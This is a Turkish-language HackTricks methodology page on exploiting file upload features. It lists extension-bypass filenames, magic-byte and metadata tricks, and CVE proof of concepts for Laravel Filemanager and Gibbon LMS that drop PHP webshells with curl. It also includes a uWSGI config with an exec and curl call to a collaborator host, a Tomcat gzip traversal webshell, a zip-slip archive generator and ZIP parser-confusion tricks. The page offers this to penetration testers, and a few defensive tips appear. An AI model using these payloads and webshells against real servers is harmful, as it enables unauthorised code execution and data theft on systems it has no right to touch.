Dosya Yükleme
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Dosya Yükleme Genel Metodolojisi
Diğer faydalı uzantılar:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Dosya uzantısı kontrollerini atlatma
- Uygulanıyorsa, önceki uzantıları kontrol edin. Ayrıca bunları bazı büyük harfler kullanarak test edin: pHp, .pHP5, .PhAr …
- Çalıştırma uzantısından önce geçerli bir uzantı eklemeyi kontrol edin (önceki uzantıları da kullanın):
- file.png.php
- file.png.Php5
- Sonuna özel karakterler eklemeyi deneyin. Tüm ascii ve Unicode karakterleri bruteforce ile denemek için Burp’ı kullanabilirsiniz. (Ayrıca önceki bahsedilen uzantıları de kullanmayı deneyebileceğinizi unutmayın)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php….
- file.pHp5….
- Sunucu tarafı extension parser’ını kandırarak korumaları atlatmayı deneyin; örneğin doubling the extension veya uzantılar arasına adding junk veri (null bytes) ekleme gibi teknikler. Daha iyi bir payload hazırlamak için önceki uzantıları de kullanabilirsiniz.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Önceki kontrole başka bir uzantı katmanı ekleyin:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Yürütülebilir uzantıyı geçerli uzantıdan önce koymayı deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Örneğin Apache yanlış yapılandırmalarında, içinde .php uzantısı olan ancak mutlaka .php ile bitmeyen dosyalar da kod çalıştırabilir):
- ex: file.php.png
- NTFS alternate data stream (ADS) kullanımı (Windows). Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda yasaklı uzantıya sahip boş bir dosya oluşturulacaktır (örn. “file.asax:.jpg”). Bu dosya daha sonra kısa dosya adı gibi diğer tekniklerle düzenlenebilir. “::$data” deseni de dolu dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin sonuna bir nokta eklemek ek kısıtlamaları atlatmak için faydalı olabilir (örn. “file.asp::$data.”)
- Dosya adı limitlerini kırmayı deneyin. Geçerli uzantı kesilir. Ve kötü amaçlı PHP kalır. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
Bazı upload handler’ları kaydedilen dosya adının sonundaki nokta karakterlerini kırpar veya normalize eder. UniSharp’ın Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 öncesi sürümlerinde, uzantı doğrulamasını şu şekilde atlayabilirsiniz:
- Geçerli bir image MIME ve magic header kullanarak (örn. PNG’nin
\x89PNG\r\n\x1a\n). - Yüklenen dosyanın adını bir PHP uzantısı ve sonrasında bir nokta olacak şekilde adlandırarak, örn.
shell.php.. - Sunucu sonundaki noktayı kaldırır ve
shell.phpolarak kaydeder; bu dosya web üzerinden sunulan bir dizine (varsayılan public storage gibi/storage/files/) yerleştirilmişse çalıştırılır.
Minimal PoC (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
Sonra kaydedilen path’e istekte bulunun (Laravel + LFM’de tipik):
GET /storage/files/0xdf.php?cmd=id
Bypass Content-Type, Magic Number, Compression & Resizing
- Content-Type kontrollerini atlatmak için Content-Type header’ının value değerini şu şekilde ayarlayın: image/png, text/plain, application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- magic number kontrolünü atlatmak için dosyanın başına gerçek bir resmin bytes’ını ekleyin (file komutunu yanıltmak için). Veya shell’i metadata içine yerleştirin:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg\veya payload’ı doğrudan bir resme de ekleyebilirsiniz:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png - Eğer resminize sıkıştırma uygulanıyorsa, örneğin PHP kütüphanelerinden PHP-GD kullanılıyorsa, önceki teknikler işe yaramayabilir. Ancak, sıkıştırmayı aşan metin eklemek için PLTE chunk burada tanımlanan teknik kullanılabilir.
- Github with the code
- Web sayfası ayrıca resmi yeniden boyutlandırıyor olabilir; örneğin PHP-GD fonksiyonları
imagecopyresizedveyaimagecopyresampledkullanılıyor olabilir. Ancak, sıkıştırmayı aşan metin eklemek için IDAT chunk burada tanımlanan teknik kullanılabilir. - Github with the code
- Bir diğer teknik, PHP-GD fonksiyonu
thumbnailImagekullanıldığında bile yeniden boyutlandırmayı atlatan bir payload oluşturmak; bunun için tEXt chunk burada tanımlanan teknik kullanılabilir. - Github with the code
Diğer Kontrol Edilecek Hileler
- Zaten yüklenmiş olan dosyanın uzantısını değiştirmek için dosyanın rename edilmesine izin veren bir zafiyet bulun.
- Backdoor’u çalıştırmak için bir Local File Inclusion zafiyeti bulun.
- Olası bilgi sızıntısı:
- Aynı dosyayı aynı anda birden fazla kez yükleyin (aynı isimle).
- Zaten var olan bir dosya veya klasör ile aynı isimde bir dosya yükleyin.
- Dosya adı olarak
".","..", veya"…"kullanarak dosya yüklemek. Örneğin, Apache üzerinde Windows’ta, uygulama yüklenen dosyaları “/www/uploads/” dizinine kaydediyorsa, “.” adlı dosya “/www/” dizininde “uploads” adında bir dosya oluşturacaktır. - Silinmesi zor olabilecek bir dosya yükleyin; örneğin NTFS üzerinde “…:.jpg”. (Windows)
- Windows’ta dosya adına
|<>*?”gibi geçersiz karakterler içeren bir dosya yükleyin. (Windows) - CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, ve LPT9 gibi rezerve (yasaklanmış) isimleri kullanarak Windows’a dosya yükleyin.
- Ayrıca bir .exe yüklemeyi veya daha az şüpheli görünen bir .html yüklemeyi deneyin; kurban yanlışlıkla açtığında kod çalıştırabilir.
Özel uzantı hileleri
Eğer dosyaları bir PHP servera yüklemeye çalışıyorsanız, kod çalıştırmak için .htaccess hilesine bakın.
Eğer dosyaları bir ASP servera yüklüyorsanız, kod çalıştırmak için .config hilesine bakın.
.phar dosyaları Java için .jar gibidir, fakat php içindir ve php dosyası gibi kullanılabilir (php ile çalıştırmak veya bir script içinde include etmek…).
.inc uzantısı bazen sadece dosya import etmek için kullanılan php dosyaları için kullanılır; bu yüzden bir noktada bu uzantının çalıştırılmasına izin verilmiş olabilir.
Jetty RCE
Bir Jetty sunucusuna XML dosyası yükleyebilirseniz RCE elde edebilirsiniz çünkü **yeni .xml ve .war otomatik olarak işlenir. Aşağıdaki resimde belirtildiği gibi, XML dosyasını $JETTY_BASE/webapps/’e yükleyin ve shell bekleyin!
.png)
uWSGI RCE
Bu zafiyetin detaylı bir incelemesi için orijinal araştırmaya bakın: uWSGI RCE Exploitation.
.uWSGI sunucularında Remote Command Execution (RCE) zafiyetleri, .ini konfigürasyon dosyasını değiştirebilme yeteneği varsa istismar edilebilir. uWSGI konfigürasyon dosyaları, “magic” değişkenleri, yer tutucuları ve operatörleri içeren özel bir sözdizimi kullanır. Özellikle @(filename) şeklinde kullanılan ‘@’ operatörü bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI tarafından desteklenen çeşitli şemalar arasında “exec” şeması özellikle güçlüdür; bir sürecin standard output’undan veri okumaya izin verir. Bir .ini konfigürasyon dosyası işlenirken bu özellik, Remote Command Execution veya Arbitrary File Write/Read için kötüye kullanılabilir.
Aşağıda çeşitli şemaları gösteren zararlı bir uwsgi.ini dosyasına örnek verilmiştir:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
Payload’un yürütülmesi, konfigürasyon dosyasının parse edilmesi sırasında gerçekleşir. Konfigürasyonun etkinleşip parse edilmesi için uWSGI süreci ya yeniden başlatılmalı (muhtemelen bir crash sonrası veya bir Denial of Service attack nedeniyle) ya da dosya auto-reload olarak ayarlanmalıdır. Auto-reload özelliği etkinse, değişiklik algılandığında dosyayı belirli aralıklarla yeniden yükler.
uWSGI’nin konfigürasyon dosyası parsing’inin gevşek doğasını anlamak çok önemlidir. Özellikle, burada bahsedilen payload bir binary dosyaya (örneğin image veya PDF) gömülebilir; bu da potansiyel istismarın kapsamını daha da genişletir.
Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Gibbon LMS’deki kimlik doğrulama gerektirmeyen bir endpoint, web root içinde arbitrary file write yapılmasına izin veriyor; bu da bir PHP dosyası bırakarak pre-auth RCE’ye yol açıyor. Etkilenen versiyonlar: 25.0.01 dahil olmak üzere daha eski sürümlere kadar.
- Endpoint:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php - Method: POST
- Required params:
img: data-URI-like string:[mime];[name],[base64](sunucu type/name’i yok sayar, son kısmı base64 çözer)path: destination filename relative to Gibbon install dir (e.g.,poc.phpor0xdf.php)gibbonPersonID: any non-empty value is accepted (e.g.,0000000001)
Minimal PoC to write and read back a file:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
Minimal bir webshell bırakın ve komutları çalıştırın:
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
Notes:
- İşleyici
;ve,ile ayırdıktan sonrabase64_decode($_POST["img"])işlemini gerçekleştirir, sonra uzantı/tip doğrulaması yapmadan byte’ları$absolutePath . '/' . $_POST['path']dosyasına yazar. - Ortaya çıkan kod web hizmeti kullanıcısı olarak çalışır (ör. XAMPP Apache on Windows).
Bu hataya ilişkin referanslar usd HeroLab advisory ve NVD girdisini içerir. Aşağıdaki Referanslar bölümüne bakın.
wget File Upload/SSRF Trick
Bazı durumlarda bir sunucunun wget ile dosya indirdiğini ve URL’yi belirtebildiğinizi görebilirsiniz. Bu durumlarda kod, indirilen dosyaların uzantısının bir whitelist içinde olup olmadığını kontrol ediyor olabilir; böylece yalnızca izin verilen dosyaların indirileceği sağlanır. Ancak, bu kontrol atlatılabilir.\
linux’ta bir dosya adının maksimum uzunluğu 255’tir, ancak wget dosya adlarını 236 karaktere kısaltır. Örneğin *“A”232+“.php”+“.gif” adlı bir dosyayı indirebilirsiniz; bu dosya adı kontrolü atlatır (bu örnekte “.gif” geçerli bir uzantıdır) ancak wget dosyayı *“A”232+“.php” olarak yeniden adlandıracaktır.
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Note that başka bir seçenek aklınıza gelebilir: HTTP server redirect to a different file yapmak, böylece başlangıçtaki URL kontrolü atlar ancak wget yönlendirilen dosyayı yeni adıyla indirir. Bu çalışmaz eğer wget --trust-server-names parametresi ile kullanılmıyorsa, çünkü wget yönlendirilen sayfayı orijinal URL’de belirtilen dosya adıyla indirecektir.
Yükleme dizininden kaçış NTFS junctions ile (Windows)
(Bu saldırı için Windows makinesine local access ihtiyacınız olacak) Windows’ta upload’lar per-user alt klasörlerde saklanıyorsa (ör. C:\Windows\Tasks\Uploads<id>) ve siz o alt klasörün oluşturulmasını/silinmesini kontrol edebiliyorsanız, bunu hassas bir konuma işaret eden bir directory junction ile değiştirebilirsiniz (ör. webroot). Sonraki upload’lar hedef yola yazılacak ve hedef server‑side code’u yorumluyorsa kod çalıştırılmasını sağlayacaktır.
Example flow to redirect uploads into XAMPP webroot:
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
Notlar
- mklink /J creates an NTFS directory junction (reparse point). Web sunucusunun hesabı junction’ı takip etmeli ve hedefte yazma iznine sahip olmalıdır.
- Bu, rastgele dosya yazımlarını yönlendirir; eğer hedef scriptleri (PHP/ASP) çalıştırıyorsa, bu RCE’ye dönüşür.
- Savunmalar: writable upload root’ların attacker‑controllable olmasına C:\Windows\Tasks altı veya benzer yerlerde izin vermeyin; junction oluşturmayı engelleyin; uzantıları server‑side doğrulayın; upload’ları ayrı bir volume üzerinde veya deny‑execute ACLs ile saklayın.
GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)
Bazı upload/ingest handler’ları, ham request gövdesini user-controlled query parametrelerinden oluşturulan bir filesystem yoluna yazar. Eğer handler ayrıca Content-Encoding: gzip’i destekliyor ve destination path’i canonicalize/validate etmiyorsa, directory traversal ile gzipped payload’u birleştirerek web-served bir dizine rastgele byte’lar yazabilir ve RCE elde edebilirsiniz (ör. Tomcat’in webapps altına bir JSP bırakmak).
Genel exploitation akışı:
- Sunucu tarafı payload’unuzu hazırlayın (ör. minimal JSP webshell) ve byte’ları gzip ile sıkıştırın.
- Bir POST gönderin; burada bir path parametresi (ör. token) hedef klasörden kaçış yapan traversal içersin ve file alanı persist edilecek filename’i belirlesin. Content-Type: application/octet-stream ve Content-Encoding: gzip ayarlayın; body sıkıştırılmış payload olacaktır.
- Yazılan dosyayı tarayıcıda açarak çalıştırmayı tetikleyin.
Illustrative request:
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>
<gzip-compressed-bytes-of-your-jsp>
Sonra tetikleyin:
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target
Notlar
- Hedef yollar kurulumlara göre değişir (ör. bazı yığınlarda /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/). JSP çalıştıran herhangi bir web-eşlenmiş klasör çalışacaktır.
- Burp Suite’in Hackvertor eklentisi, payload’ınızdan doğru bir gzip body üretebilir.
- Bu saf bir pre-auth arbitrary file write → RCE pattern’idir; multipart parsing’e dayanmaz.
Önlemler
- Yükleme hedeflerini sunucu tarafında türetin; istemciden gelen yol parçalarına asla güvenmeyin.
- Çözümlenen yolun allow-listed (izinli) bir temel dizin içinde kaldığını canonicalize edin ve zorunlu kılın.
- Yüklemeleri yürütülemeyen (non-executable) bir volumede depolayın ve yazılabilir yollardan script yürütmeyi engelleyin.
Araçlar
- Upload Bypass Pentesters ve Bug Hunters’ın file upload mekanizmalarını test etmesine yardımcı olmak için tasarlanmış güçlü bir araçtır. Web uygulamalarındaki açıklıkları belirlemeyi ve istismar etmeyi kolaylaştırmak için çeşitli bug bounty tekniklerini kullanır ve kapsamlı değerlendirmeler sağlar.
Corrupting upload indices with snprintf quirks (historical)
snprintf() veya benzerini kullanarak tek dosyalı bir upload’tan multi-file array’leri inşa eden bazı eski upload handler’lar, _FILES yapısını sahtelemek için kandırılabilir. snprintf() davranışındaki tutarsızlıklar ve truncation nedeniyle, dikkatle hazırlanmış tek bir upload sunucu tarafında birden çok indekslenmiş dosya gibi görünebilir ve sıkı bir şekle (ör. multi-file upload olarak işlenip güvensiz dallara girilmesi) dayanan mantığı şaşırtabilir. Günümüzde nadir olsa da, bu “index corruption” paterni ara sıra CTF’lerde ve eski kod tabanlarında yeniden ortaya çıkar.
Dosya yüklemeden diğer zafiyetlere
- filename’i
../../../tmp/lol.pngolarak ayarlayın ve bir path traversal elde etmeye çalışın - filename’i
sleep(10)-- -.jpgolarak ayarlayın ve muhtemelen bir SQL injection elde edebilirsiniz - filename’i
<svg onload=alert(document.domain)>olarak ayarlayın ve bir XSS elde edin - filename’i
; sleep 10;olarak ayarlayın ve bazı command injection’ları test edin (daha fazla command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Farklı svg payload’larını https://github.com/allanlw/svg-cheatsheet adresinden deneyin
- Ünlü ImageTrick zafiyeti
- Eğer web sunucusuna bir URL’den image çekmesini işaret edebiliyorsanız, bir SSRF istismarı deneyebilirsiniz. Bu image kamuya açık bir sitede kaydedilecekse, https://iplogger.org/invisible/ gibi bir URL belirterek her ziyaretçinin bilgisini çalabilirsiniz.
- XXE and CORS bypass with PDF-Adobe upload
- XSS için özel hazırlanmış PDF’ler: following page present how to inject PDF data to obtain JS execution. Eğer PDF yükleyebiliyorsanız, verilen talimatlara uygun olarak rastgele JS çalıştıracak bir PDF hazırlayabilirsiniz.
- Upload the [eicar](https://secure.eicar.org/eicar.com.txt) content to check if the server has any antivirus
- Dosya yüklerken herhangi bir size limit olup olmadığını kontrol edin
Yükleyerek başarabileceğiniz şeylerin bir ilk 10 listesi (buradan alıntı: here):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Eklentisi
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy
Sihirli Başlık Baytları
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03[" - JPG:
"\xff\xd8\xff"
Diğer dosya tipleri için bkz. https://en.wikipedia.org/wiki/List_of_file_signatures.
Zip/Tar Dosyasının Sunucuda Otomatik Olarak Açıldığı Upload
Eğer içinde açılacak şekilde sunucuya bir ZIP yükleyebiliyorsanız, iki şey yapabilirsiniz:
Symlink
Diğer dosyalara soft linkler içeren bir link yükleyin; sonra, açılmış dosyalara eriştiğinizde, bağlanmış dosyalara erişmiş olursunuz:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Farklı klasörlerde açma
Sıkıştırma açılırken dizinlerde beklenmeyen dosya oluşturulması ciddi bir sorundur. Bu düzenlemenin kötü amaçlı dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeyi engelleyeceği varsayılsa da, ZIP archive formatının hiyerarşik sıkıştırma desteği ve directory traversal yetenekleri kötüye kullanılabilir. Bu, saldırganların hedef uygulamanın decompression işlevini manipüle ederek kısıtlamaları atlamasına ve güvenli upload dizinlerinden kaçmasına olanak tanır.
Böyle dosyalar oluşturmak için otomatik bir exploit evilarc on GitHub adresinde mevcuttur. Araç şu şekilde kullanılabilir:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Ayrıca, symlink trick with evilarc bir seçenek olarak kullanılabilir. Hedef /flag.txt gibi bir dosya ise, sisteminizde o dosyaya işaret eden bir symlink oluşturulmalıdır. Bu, evilarc’ın çalışması sırasında hata almasını önler.
Aşağıda zararlı bir zip dosyası oluşturmak için kullanılan Python örnek kodu verilmiştir:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Abusing compression for file spraying
Daha fazla bilgi için orijinal gönderiye bakın: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creating a PHP Shell: PHP kodu,
$_REQUESTdeğişkeni aracılığıyla gönderilen komutları çalıştıracak şekilde yazılır.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying and Compressed File Creation: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi hazırlanır.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modification with a Hex Editor or vi: zip içindeki dosya isimleri vi veya bir hex editör kullanılarak değiştirilir; “xxA” dizin atlamak için “../” ile değiştirilir.
:set modifiable
:%s/xxA/../g
:x!
ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
Bir backend ZIP girdilerini PHP’nin ZipArchive ile doğrulayıp, ancak çıkartma işlemi dosya sistemine ham isimlerle yazıyorsa, dosya adı alanına bir NUL (0x00) karakteri ekleyerek yasaklı bir uzantıyı sisteme sokabilirsiniz. ZipArchive girdi adını bir C‑string olarak ele alır ve ilk NUL’de keser; dosya sistemi ise dosya adını tam olarak yazar, NUL’den sonraki kısmı atar.
High-level flow:
- Geçerli bir container dosyası hazırlayın (ör., geçerli bir PDF) ve magic/MIME türünün PDF kalması için içine küçük bir PHP stub’u bir stream içinde gömün.
- Adını
shell.php..pdfgibi koyun, zipleyin, sonra ZIP local header ve central directory filename’ini hex ile düzenleyerek.php’den sonraki ilk.’i0x00ile değiştirin; sonuçshell.php\x00.pdfolur. - ZipArchive’a dayanan validator’lar
shell.php .pdfgibi görecek ve izin verecektir; extractor diskeshell.phpyazar, upload klasörü çalıştırılabilir ise RCE’ye yol açar.
Minimal PoC steps:
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf
# 3) Hex-edit both the local header and central directory filename fields
# Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
# Tools: hexcurse, bless, bvi, wxHexEditor, etc.
# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)
Notlar
- HER İKİ dosya adı oluşumunu değiştirin (local ve central directory). Bazı araçlar ek bir data descriptor girdisi ekler – varsa tüm name alanlarını düzeltin.
- Payload dosyası hâlâ sunucu-tarafı magic/MIME sniffing’ten geçmelidir. PHP’yi bir PDF stream içine gömmek header’ı geçerli tutar.
- enum/doğrulama yolu ile extraction/write yolunun string işleme konusunda uyuşmadığı durumlarda işe yarar.
Stacked/concatenated ZIPs (parser uyuşmazlığı)
İki geçerli ZIP dosyasını ardışık olarak birleştirmek, farklı parser’ların farklı EOCD kayıtlarına odaklandığı bir blob oluşturur. Birçok araç son End Of Central Directory (EOCD) kaydını bulurken, bazı kütüphaneler (örn. ZipArchive belirli iş akışlarında) buldukları ilk arşivi parse edebilir. Eğer doğrulama ilk arşivi enumerate ederken çıkarma başka bir araç kullanıp son EOCD’yi dikkate alıyorsa, zararsız bir arşiv kontrolleri geçebilirken kötü amaçlı olan çıkarılabilir.
PoC:
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2
# Stack them
cat zip1.zip zip2.zip > combo.zip
# Different views
unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
Kötüye kullanım deseni
- İzin verilen türde (ör. bir PDF) zararsız bir arşiv oluşturun ve içinde bloklanmış bir uzantı bulunan ikinci bir arşiv oluşturun (ör.
shell.php). - Bunları birleştirin:
